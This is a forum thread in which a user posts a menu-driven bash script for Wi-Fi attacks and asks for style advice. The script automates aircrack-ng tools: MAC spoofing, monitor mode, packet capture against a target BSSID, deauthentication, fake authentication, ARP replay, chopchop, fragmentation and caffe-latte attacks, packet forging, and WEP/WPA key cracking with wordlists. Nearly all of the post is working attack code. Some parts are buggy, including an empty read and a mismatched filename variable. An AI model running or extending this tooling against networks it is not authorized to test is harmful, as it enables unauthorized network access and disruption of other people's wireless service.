Results 1 to 2 of 2

Thread: My wireless scripts - looking for suggestions

  1. #1
    Junior Member
    Join Date
    Jan 2010
    Posts
    81

    Default My wireless script - looking for suggestions

    Yes, it is a lot of code, but my opinion is that it has many options and uses my basic knowledge of bash scripting. In this script, I did not use functions that return strings so I declare commented out variables in the function themselves, for reference. Instead, I am using essentially global variables all over the place but I tried I #declared them in the beginning of functions. One of my questions is what would be a neater and easier way to have my Menu function, because if I continue to expand with echo's, soon it might start going off the screen. You can see it about half way through on the next post. Another, would be what other options should I add to the script to make it more fully functional in its purpose of simplifying tedious tasks. My last question would be what are ways I can make this script neater in more of a programming aspect, with functions in general, consolidation of code, and etc?


    P.S. I need to post twice because I exceeded the text length.
    Thanks,
    red

  2. #2
    Junior Member
    Join Date
    Jan 2010
    Posts
    81

    Default

    Code:
    #!/bin/bash
    
    #Color table
    red='\e[0;31m'
    lred='\e[1;31m' #Lighter
    green="\e[0;32m"
    lgreen="\e[1;32m" #Lighter
    yellow="\e[0;33m"
    lyellow="\e[1;33m" #Lighter
    blue='\e[0;34m'
    lblue='\e[1;34m' #Lighter
    magenta="\e[0;35m"
    lmagenta="\e[1;35m" #Lighter
    cyan='\e[0;36m'
    lcyan='\e[1;36m' #Lighter
    NC='\e[0m' # No Color
    #End of Color table
    
    
    #Function declarations and prototypes
    MainFunction() {
    counter="0" #Declared and intialized for the IF/ELSE statement in function ActivateMonitoring
    
    
    IsRoot
    CurrentDirectory
    VAPSnDevices
    ActivateMonitoring
    AiroDump
    AireplaySettings
    Menu
    
    
    }
    IsRoot() {
    if [[ "$USER" != "root" ]]
     then
       echo "Sorry! You Have to be root to use this script"
       echo
       exit 1
    fi
    clear
    }
    CurrentDirectory() {
    #CurrentDirectory
    #decision1
    
    echo -e "${red}Enter a directory to put all files: ${NC}"
    read currentdirectory
    
    if [ -e $currentdirectory ]; then
    cd $currentdirectory
    xterm -T "${currentdirectory}" -geometry 80x12 -e "ls ; bash" & 
    else
    echo -e "Error; file does not exit,"
    echo -e "Would you like it to be[y/n]: "
    read decision1
    
    if [[ $decision1 == y ]]; then
    mkdir $currentdirectory
    else
    echo
    fi
    echo 
    fi
    
    }
    GetCurrentDirectory() {
    xterm -T "Saving directory" -geometry 80x11 -e "ls ; bash" & 
    }
    ActivateMonitoring() {
    #device
    #decision
    
    if [[ $counter = 0 ]] #Counter is declared and initialized in the MAIN
    then
    echo -e "${red}Setting up Monitoring Mode${NC}"
    else
    echo 
    fi
    echo -e "${lred}Enter device to be put in monitoring mode:${NC} "
    read device
    xterm -e ifconfig $device down
    xterm -e macchanger -A $device
    xterm -e ifconfig $device up
    xterm -e airmon-ng stop $device
    xterm -e airmon-ng start $device
    
    echo -e "${lred}Any more[y/n]?${NC} "
    read decision
    if [[ $decision == 'y' ]]; then
    {
    counter="1"
    ActivateMonitoring
    }
    else
    echo -e "${lred}Monitoring mode Configured${NC}"
    VAPSnDevices 
    fi
    }
    AiroDump() {
    #device2
    #channel
    #fileLocation
    #airDevice
    #wirelessEncrypt
    #apMAC
    
    echo -e "${red}Setting up Airodump${NC}"
    
    echo -e "${lred}Enter a device in monitoring mode:${NC} "
    read device2
    
    xterm -geometry 90x15 -e airodump-ng $device2 &
    
    echo -e "${lred}Enter BSSID:${NC}"
    read apMAC
    echo -e "${lred}Enter channel:${NC}"
    read channel
    echo -e "${lred}Where should the .pcap be saved" 
    echo -e "Make sure directory exist, end it with the desired name"
    echo -e "Example: /home/user/caps/newcap"
    echo -e "Currently directory: ${currentdirectory}"
    echo -e "Enter:${NC} "
    read fileLocation
    
    echo -e "${lred}Device to be used, one of the mon{#} normally:${NC} "
    read airDevice
    echo -e "${lred}If the encryption is WEP, would you like to only save the ivs:[y/n]${NC} "
    read wirelessEncrypt
    
    if [[ wirelessEncrypt == 'y' ]]; then
    killall 'xterm'
    xterm -geometry 90x15 -e airodump-ng -c $channel --bssid $apMAC -w $fileLocation --ivs $airDevice &
    else
    killall 'xterm'
    xterm -geometry 90x15 -e airodump-ng -c $channel --bssid $apMAC -w $fileLocation $airDevice &
    fi
    }
    VAPSnDevices() {
    echo -e "${red}Displaying devices${NC}"
    
    xterm -geometry 80x10 -e 'airmon-ng ; bash' &
    }
    AireplaySettings() {
    #apMac
    #clientMac
    #aireDevice
    #injectRate
    
    echo -e "${red}Aireplay Parameters${NC}"
    
    xterm -T "Devices + VAP's" -geometry 80x10 -e "airmon-ng ; bash" &
    
    echo -e "${lred}Enter a Client MAC, or random MAC:${NC} "
    read clientMAC
    echo -e "${lred}Enter inject device:${NC} "
    read aireDevice
    echo -e "${lred}Last but not least, inject rate:${NC} "
    read injectRate
    }
    Menu() {
    Decision2=0
    
    while [[ $Decision2 != 20 ]]
    do
    clear
    echo -e "${green}WPA options${NC}:                           ${cyan}Current directory: $currentdirectory${NC}"
    echo -e " 1. Deauthentication              ********************"
    echo -e "${green}WEP options${NC}:                      *${lgreen}Ap MAC${NC}:"
    echo -e " 2. Fake authentication           *$apMAC"
    echo -e " 3. Interactive Packet Replay     *${lgreen}Client MAC${NC}:"
    echo -e " 4. ARP Request Replay            *$clientMAC"
    echo -e " 5. Korek Chopchop                *${lgreen}Inject Device${NC}:"
    echo -e " 6. Fragmentation                 *$aireDevice"
    echo -e " 7. Caffe-latte                   *${lgreen}Injection Rate${NC}:"
    echo -e " 8. Client-Oriented Frag          *$injectRate"
    echo -e "                                  *${lgreen}Channel:${NC}"
    echo -e  "                                   $channel"
    echo    "                                  ********************"
    echo -e "${green}Controlling parameters${NC}:               14. Aircrack-WEP"
    echo -e "  9. Change AP MAC                    15. Aircrack-WPA"
    echo -e " 10. Change Client MAC                16. Packetforge"
    echo -e " 11. Change injecting device          17. Completely new session"
    echo -e " 12. Change injection rate            18. List current directory"
    echo -e " 13. Open seperate bash prompt        19. Run .cap through Wireshark"
    echo
    echo -e " 20. Exit, Close"
    echo
    echo -n "Enter command: "
    read Decision2
    
    if [[ $Decision2 == 1 ]]; then
    DeAuth
    elif [[ $Decision2 == 2 ]]; then
    FakeAuth
    elif [[ $Decision2 == 3 ]]; then
    InterPacketReplay
    elif [[ $Decision2 == 4 ]]; then
    ARPRequest
    elif [[ $Decision2 == 5 ]]; then
    KorekChop
    elif [[ $Decision2 == 6 ]]; then
    Fragmentation
    elif [[ $Decision2 == 7 ]]; then
    CaffeLatte
    elif [[ $Decision2 == 8 ]]; then
    ClientOrientedFrag
    elif [[ $Decision2 == 9 ]]; then
    NewApMac
    elif [[ $Decision2 == 10 ]]; then
    NewClientMac
    elif [[ $Decision2 == 11 ]]; then 
    NewInjectDevice
    elif [[ $Decision2 == 12 ]]; then
    NewInjectRate
    elif [[ $Decision2 == 13 ]]; then
    NewBash
    elif [[ $Decision2 == 14 ]]; then
    AirCrackWEP
    elif [[ $Decision2 == 15 ]]; then
    AirCrackWPA
    elif [[ $Decision2 == 16 ]]; then
    PacketForging
    elif [[ $Decision2 == 17 ]]; then
    NewSession
    elif [[ $Decision2 == 18 ]]; then
    GetCurrentDirectory
    elif [[ $Decision2 == 19 ]]; then
    WireShark
    elif [[ $Decision2 == 20 ]]; then
    EXIT
    else
    echo "Invalid input"
    fi
    
    done
    clear
    }
    DeAuth() {
    xterm -T 'Deauthencation-WPA' -geometry 80x12  -e ''aireplay-ng -0 10 -a $apMAC -c $clientMAC -x $injectRate $aireDevice'' &
    }
    FakeAuth() {
    xterm -T 'Fake Authencation-WEP' -geometry 80x12  -e ''aireplay-ng -1 1 -a $apMAC -h $clientMAC -x $injectRate $aireDevice'' &
    }
    InterPacketReplay() {
    echo -n "Enter file location of arp-request created by Packetforge-ng"
    echo 
    echo -n "It is believe the file is currently called $newArp"
    echo  -n "Enter: "
    read packetLocation
    xterm -T 'Interactive-Packet-Replay' -geometry 80x12  -e "aireplay-ng -2 -r $packetLocation -x $injectRate $aireDevice" &
    }
    ARPRequest() {
    xterm -T 'ARP-Request-Replay' -geometry 80x12  -e ''aireplay-ng -3 -b $apMAC -h $clientMAC -x $injectRate $aireDevice'' &
    }
    KorekChop() {
    xterm -T 'Korek/chopchop-WEP' -geometry 80x12  -e "aireplay-ng -4 -a $apMAC -h $clientMAC -x $injectRate $aireDevice ; bash" &
    }
    Fragmentation() {
    xterm -T 'Fragmentation-WEP' -geometry 80x12  -e "aireplay-ng -5 -b $apMAC -c $clientMAC -d FF:FF:FF:FF:FF:FF -x $injectRate $aireDevice ; bash" &
    }
    CaffeLatte() {
    xterm -T 'Caffe-Latte-WEP' -geometry 80x12  -e "aireplay-ng -6 -b $apMAC -c $clientMAC -x $injectRate $airDevice ; bash" &
    }
    ClientOrientedFrag() {
    xterm -T 'Client-Oriented-Frag-WEP' -geometry 80x12  -e "aireplay-ng -7 -b $apMAC -h $clientMAC -x $injectRate $airDevice ; bash" &
    }
    NewApMac() {
    echo -n "Enter the new AP MAC: "
    read apMAC
    }
    NewClientMac() {
    echo -n "Enter the new Client MAC: "
    read clientMAC
    }
    NewInjectDevice() {
    echo -n "Enter the new device to inject: "
    read aireDevice
    }
    NewInjectRate() {
    echo -n "Enter injection rate: "
    read injectRate
    }
    NewBash() {
    xterm -T "New Bash" -e 'bash' &
    }
    AirCrackWEP() {
    echo -n "Enter .cap file, remember you stored it here $fileLocation"
    echo
    echo -n "Just need to -01.cap at the end most likely"
    echo 
    echo -n "Enter: "
    read fileName
    xterm -T "Aircrack-ng WEP" -e "aircrack-ng $fileName ; bash" &
    }
    AirCrackWPA() {
    #filename
    #decision3
    #wordlistLocation
    #tableLocation
    
    echo -n "Enter .cap file, remember you stored it here $fileLocation"
    echo
    echo -n "Just need to -01.cap"
    read fileName
    
    echo -n "Are you using a word list or Airolib table[w/a]: "
    read decision3
    
    if [[ $decision3 == 'w' ]]; then
    echo -n "Enter location of word list: "
    read 
    xterm -T "Aircrack-ng WPA - Word list" -e "aircrack-ng -w $wordlistLocation $filename ; bash" &
    else
    echo -n "Enter location of table: "
    read tableLocation
    xterm -T "Aircrack-ng WPA - Airolib tables" -e "aircrack-ng -r $tableLocation $filename ; bash" &
    fi
    }
    PacketForging() {
    echo -n "Enter .xor file generated from Korek/Chop or Frag attacks: "
    read xorFile
    echo -n "Enter desired name: "
    read newArp
    xterm -T "Packetforge-ng" -geometry 80x12 -e "packetforge-ng -0 -y $xorFile -w $newArp -l 255.255.255.255 -k 255.255.255.255 -a $apMAC -h $clientMAC" 
    }
    NewSession() {
    killall "xterm"
    
    VAPSnDevices
    AiroDump
    AireplaySettings
    Menu
    
    }
    WireShark() {
    #capLocation
    GetCurrentDirectory
    echo -e "${lred}List directory by the function in the menu"
    echo -e "It should begain with $fileLocation"
    echo -e "${lred}Enter file name, .cap:${NC}"
    read capLocation 
    
    wireshark  $capLocation
    }
    EXIT() {
    killall xterm
    clear
    exit 1
    }
    
    #End of declaring and prototypes
    
    #INT MAIN
    
    MainFunction
    
    
    exit 0

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •